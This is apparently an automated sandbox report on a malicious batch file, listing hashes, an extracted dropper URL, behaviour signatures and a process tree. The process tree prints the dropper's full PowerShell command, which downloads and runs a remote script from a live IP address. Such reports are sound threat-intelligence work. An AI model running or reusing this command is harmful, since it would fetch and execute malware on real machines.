Analysis

  • max time kernel
    108s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v200217
  • submitted
    04-03-2020 16:10

General

  • Target

    UJvbivju.bat

  • Size

    189B

  • MD5

    30e9f006bd27f61b87649fb861b70525

  • SHA1

    602c170aa87ed68a7c5f68f15a162bdbd51dfc1f

  • SHA256

    c27c8d9ea31e707420a5f77581ead62b943e9195989ff1d5df30d0ecafefe2e6

  • SHA512

    f9c62d8bff196da519b3c336d079781f33cdd0123f910448d9b8be41b732b149dbbed44e1bdb58ebf67d914ae4ec0d376ac16688851ea6714a21cf638a6cd7ae

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/UJvbivju

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\UJvbivju.bat"
    1⤵
      PID:2416
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/UJvbivju');Invoke-QGTRJX;Start-Sleep -s 10000"
        2⤵
          PID:3696
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3696 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:3156

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • memory/3156-0-0x0000000004700000-0x0000000004701000-memory.dmp

        Filesize

        4KB

      • memory/3156-1-0x0000000004700000-0x0000000004701000-memory.dmp

        Filesize

        4KB

      • memory/3156-4-0x0000000004800000-0x0000000004801000-memory.dmp

        Filesize

        4KB

      • memory/3156-41-0x0000000004C00000-0x0000000004C01000-memory.dmp

        Filesize

        4KB